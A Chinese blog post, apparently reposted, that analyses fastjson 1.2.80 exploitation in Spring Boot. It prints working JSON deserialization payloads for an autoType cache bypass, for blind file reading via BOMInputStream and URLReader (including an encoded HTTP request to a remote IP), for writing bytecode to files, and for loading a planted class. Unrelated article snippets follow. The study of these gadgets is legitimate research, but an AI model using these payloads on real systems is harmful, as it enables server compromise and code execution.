spring +fastjson 的 rce

前言

众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手

环境搭建

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId>
</dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency><dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.2</version>
</dependency>
<dependency><groupId>org.aspectj</groupId><artifactId>org.eclipse.jdt.core</artifactId><version>1.9.22</version>
</dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.80</version>
</dependency>

大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用
https://github.com/luelueking/CVE-2022-25845-In-Spring

spring 加载 class 原理

一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase

这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的

fastjson 的利用

fastjson 读取文件

本地测试的话大家可以在服务器或者本地放一个文件

root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}

然后使用如下的 paylaod

{"a": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://ip/1.txt"},"charsetName": "UTF-8","bufferSize": "1024"},"boms": [{"charsetName": "UTF-8","bytes":[102]}]},"boms": [{"charsetName": "UTF-8","bytes": [1]}]},"b": {"$ref":"$.a.delegate"}
}

然后发送如下的请求

POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d

注意需要编码

回显如下

HTTP/1.1 200 
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}

其中 Zg== 解码就是我们读取的内容

然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中

{"a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }","b": {"$ref": "$.a.a"},"c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}","d": {"$ref": "$.c.c"}
}

原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存

然后我们看看读文件的原理

org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和 getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码

public ByteOrderMark getBOM() throws IOException {if (this.firstBytes == null) {this.fbLength = 0;int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();this.firstBytes = new int[maxBomSize];for(int i = 0; i < this.firstBytes.length; ++i) {this.firstBytes[i] = this.in.read(); ++this.fbLength;if (this.firstBytes[i] < 0) {break;}}this.byteOrderMark = this.find(); if (this.byteOrderMark != null && !this.include) {if (this.byteOrderMark.length() < this.firstBytes.length) {this.fbIndex = this.byteOrderMark.length();} else {this.fbLength = 0;}}}return this.byteOrderMark;}private ByteOrderMark find() {Iterator var1 = this.boms.iterator();ByteOrderMark bom;do {if (!var1.hasNext()) {return null;}bom = (ByteOrderMark)var1.next();} while(!this.matches(bom));return bom;}private boolean matches(ByteOrderMark bom) {for(int i = 0; i < bom.length(); ++i) {if (bom.get(i) != this.firstBytes[i]) {return false;}}return true;}

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的 delegte 是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {this.reader = reader;this.encoder = encoder;this.encoderIn = CharBuffer.allocate(bufferSize);this.encoderIn.flip();this.encoderOut = ByteBuffer.allocate(128);this.encoderOut.flip();}

这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

可以说和 sql 的盲注一模一样了

这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上

写文件

这个写文件的 paylaod 比较复杂

必不可少的依赖就是

<dependency>    <groupId>commons-io</groupId>    <artifactId>commons-io</artifactId>    <version>2.7</version></dependency>

几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见

paylaod

{"a": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.AutoCloseInputStream","in": {"@type": "org.apache.commons.io.input.TeeInputStream","input": {"@type": "org.apache.commons.io.input.CharSequenceInputStream","cs": {"@type": "java.lang.String","value": "恶意字节码"},"charset": "iso-8859-1","bufferSize": 1024},"branch": {"@type": "org.apache.commons.io.output.WriterOutputStream","writer": {"@type": "org.apache.commons.io.output.LockableFileWriter","file": "写入路径","charset": "iso-8859-1","append": true},"charsetName": "iso-8859-1","bufferSize": 1024,"writeImmediately": true},"closeBranch": true}},"b": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "org.apache.commons.io.input.XmlStreamReader","inputStream": {"$ref": "$.a"},"httpContentType": "text/xml","lenient": false,"defaultEncoding": "iso-8859-1"},"charsetName": "iso-8859-1","bufferSize": 1024},"c": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "org.apache.commons.io.input.XmlStreamReader","inputStream": {"$ref": "$.a"},"httpContentType": "text/xml","lenient": false,"defaultEncoding": "iso-8859-1"},"charsetName": "iso-8859-1","bufferSize": 1024}
}

XmlStreamReader
我们观察他的构造函数

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {this.defaultEncoding = defaultEncoding;BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);this.reader = new InputStreamReader(pis, this.encoding);}

重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法

XmlStreamReader.<init>(InputStream, String, boolean, String)XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()BOMInputStream.getBOM()
BufferedInputStream.read()BufferedInputStream.fill()InputStream.read(byte[], int, int)

但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) {super(input);this.branch = branch;this.closeBranch = closeBranch;}

可以看到是接受输出和输入流的,我们看到他的 read 方法

public int read() throws IOException {int ch = super.read();if (ch != -1) {branch.write(ch);}return ch;}

把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了

通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象

利用的是
ReaderInputStream + CharSequenceReader

ReaderInputStream.read--> ReaderInputStream. fillBuffer

private void fillBuffer() throws IOException {if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {this.encoderIn.compact();int position = this.encoderIn.position();int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());if (c == -1) {this.endOfInput = true;} else {this.encoderIn.position(position + c);}this.encoderIn.flip();}this.encoderOut.compact();this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);this.encoderOut.flip();
}

CharSequenceReader.read

public int read(char[] array, int offset, int length) {if (this.idx >= this.end()) {return -1;} else {Objects.requireNonNull(array, "array");if (length >= 0 && offset >= 0 && offset + length <= array.length) {int count;if (this.charSequence instanceof String) {count = Math.min(length, this.end() - this.idx);((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else if (this.charSequence instanceof StringBuilder) {count = Math.min(length, this.end() - this.idx);((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else if (this.charSequence instanceof StringBuffer) {count = Math.min(length, this.end() - this.idx);((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else {count = 0;for(int i = 0; i < length; ++i) {int c = this.read();if (c == -1) {return count;}array[offset + i] = (char)c;++count;}return count;}} else {throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);}}
}

加载 class

这个 payload 就比较简单了

{"@type":"java.lang.Exception","@type":"恶意类的名称,带上包名"
}

这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)

所以再次进入 checkAutoType 的时候 expectClass 不为空

最后

感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/61009.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js 高亮文本中包含的关键词标红

在开发中&#xff0c;遇到需要将文本中包含的关键字高亮的情况&#xff0c;可以做以下处理。 <div class"title"v-html"highlightKeywords(item.title, state1.tags1.concat(state2.tags2).concat(state3.tags3))"> </div> ...... ...... con…

从迭代器到生成器:小内存也能处理大数据

有的对象可以用for循环比如字符串和列表,有的对象不可以比如整数 my_str 123 for s in my_str;print(s)my_lst [1,2,3] for i in my_lst:print(i)my_int 123 for n in my_int:print(n) # 报错python中能够使用for循环迭代的对象叫可迭代对象也叫iterables iterables包含__i…

第29天:安全开发-JS应用DOM树加密编码库断点调试逆向分析元素属性操作

时间轴&#xff1a; 演示案例&#xff1a; JS 原生开发-DOM 树-用户交互 DOM&#xff1a;文档操作对象 浏览器提供的一套专门用来操作网页代码内容的功能&#xff0c;实现自主或用户交互动作反馈 安全问题&#xff1a;本身的前端代码通过 DOM 技术实现代码的更新修改&#xff…

“蜀道山”高校联合公益赛 Web (部分)

文章目录 奶龙牌WAF海关警察训练平台恶意代码检测器 奶龙牌WAF <?php if ($_SERVER[REQUEST_METHOD] POST && isset($_FILES[upload_file])) {$file $_FILES[upload_file];if ($file[error] UPLOAD_ERR_OK) {$name isset($_GET[name]) ? $_GET[name] : basen…

docker-compose搭建xxl-job、mysql

docker-compose搭建xxl-job、mysql 1、搭建docker以及docker-compose2、下载xxl-job需要数据库脚本3、创建文件夹以及docker-compose文件4、坑来了5、正确配置6、验证-运行成功 1、搭建docker以及docker-compose 略 2、下载xxl-job需要数据库脚本 下载地址&#xff1a;https…

XML JSON

XML 与 JSON 结构 XML&#xff08;eXtensible Markup Language&#xff09; 1. 定义 XML 是一种标记语言&#xff0c;用于描述数据的结构和内容。主要用于数据存储与交换。 2. 特点 可扩展性&#xff1a;用户可以自定义标签。层次化结构&#xff1a;数据以树形结构组织&…

【Innodb阅读笔记】之 二进制文件应用,主从复制搭建

一、概述 MySQL的主从复制&#xff08;Master-Slave Replication&#xff09;是一种数据复制解决方案&#xff0c;将主数据库的DDL和DML操作通过二进制日志传到从库服务器中&#xff0c;然后在从库上对这些日志重新执行&#xff08;也叫重做&#xff09;&#xff0c;从而是的从…

如何制作项目网页

一、背景 许多论文里经常会有这样一句话Supplementary material can be found at https://hri-eu.github.io/Lami/&#xff0c;这个就是将论文中的内容或者补充视频放到一个网页上&#xff0c;以更好的展示他们的工作。因此&#xff0c;这里介绍下如何使用前人提供的模板制作我…

Spring:Spring事务管理代码案例讲解

Spring事务管理知识讲解请见&#xff1a;Spring事务知识点讲解 下面演示一个代码示例进行理解。 需求 两个账户相互转账&#xff0c;并记录日志&#xff0c;即使有转账失败也要记录 需求分析 这里主要是需要开启事务机制来控制转入和转出&#xff1a; 1&#xff0c;创建一…

了解网络威胁情报:全面概述

网络威胁情报 CTI 是指系统地收集和分析与威胁相关的数据&#xff0c;以提供可操作的见解&#xff0c;从而增强组织的网络安全防御和决策过程。 在数字威胁不断演变的时代&#xff0c;了解网络威胁情报对于组织来说至关重要。复杂网络攻击的兴起凸显了制定强有力的策略以保护敏…

Scrapy图解工作流程-cnblog

1.1 介绍部分&#xff1a; 文字提到常用的Web框架有Django和Flask&#xff0c;接下来将学习一个全球范围内流行的爬虫框架Scrapy。 1.2 内容部分&#xff1a; Scrapy的概念、作用和工作流程 Scrapy的入门使用 Scrapy构造并发送请求 Scrapy模拟登陆 Scrapy管道的使用 Scrapy中…

【ArcGISPro】Sentinel-2数据处理

错误 默认拉进去只组织了4个波段,但是实际有12个波段 解决方案 数据下载 Sentinel-2 数据下载-CSDN博客 数据处理 数据查看 创建镶嵌数据集 在数据管理工具箱中找到创建镶嵌数据集

Python数据分析(OpenCV)

第一步通过pip安装依赖包&#xff0c;执行一下命令 pip install opencv-python 如果是Anaconda请在工具中自行下载 下载好咋们就可以在环境中使用了。 人脸识别的特征数据可以到 github上面下载&#xff0c;直接搜索OpenCV 然后我们在源码中通过cv2的级联分类器引入人脸的特征…

最小生成树-Prim与Kruskal算法

文章目录 什么是最小生成树&#xff1f;Prim算法求最小生成树Python实现&#xff1a; Kruskal算法求最小生成树并查集 Python实现&#xff1a; Reference 什么是最小生成树&#xff1f; 在图论中&#xff0c;树是图的一种&#xff0c;无法构成闭合回路的节点-边连接组合称之为…

深入理解 Java 基本语法之数组

目录 一、数组基础概念 二、数组的声明 1. 基本数据类型数组声明&#xff1a; 2. 引用数据类型数组声明&#xff1a; 三、数组的创建 四、数组的初始化 五、数组的使用 ​编辑1. 获取长度以及访问元素&#xff1a; 2. 数组作为方法的参数&#xff1a; 3. 数组作为方法…

计算机毕业设计PySpark+Scrapy农产品推荐系统 农产品爬虫 农产品商城 农产品大数据 农产品数据分析可视化 PySpark Hadoop

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

17. C++模板(template)1(泛型编程,函数模板,类模板)

⭐本篇重点&#xff1a;泛型编程&#xff0c;函数模板&#xff0c;类模板 ⭐本篇代码&#xff1a;c学习/07.函数模板 橘子真甜/c-learning-of-yzc - 码云 - 开源中国 (gitee.com) 目录 一. 泛型编程 二. 函数模板 2.1 函数模板的格式 2.2 函数模板的简单使用 2.3 函数模板…

Jupyter Notebook的安装和配置提示功能

Python开发环境搭建conda管理环境-CSDN博客 安装anaconda和对接到编译器的教程可以看上面这一篇 Jupyter Notebook是一种交互式计算环境&#xff0c;它允许用户在单个文档中编写和执行代码、方程、可视化和文本。与其他编译器相比&#xff0c;Jupyter Notebook的突出点在于其交…

maxun爬虫工具docker搭建

思路来源开源无代码网络数据提取平台Maxun 先把代码克隆到本地&#xff08;只有第一次需要&#xff09; git clone https://github.com/getmaxun/maxun.git 转到maxun目录 cd maxun 启动容器 docker-compose --env-file .env up -d 成功启动六个容器 网址 http://local…

剑指Offer26.树的子结构

题目让判断B是不是A的子结构 但是我们进行判断是基于 两个树的根相等时, 去判断是否为子结构 针是否等于B的根节点的值对A做先序遍历的过程中 如果根节点相同我们去判断此时B是不是以该根节点的子树的子结构! 实际上进行先序遍历的同时要进行递归判断子结构 B是不是A节点的子结…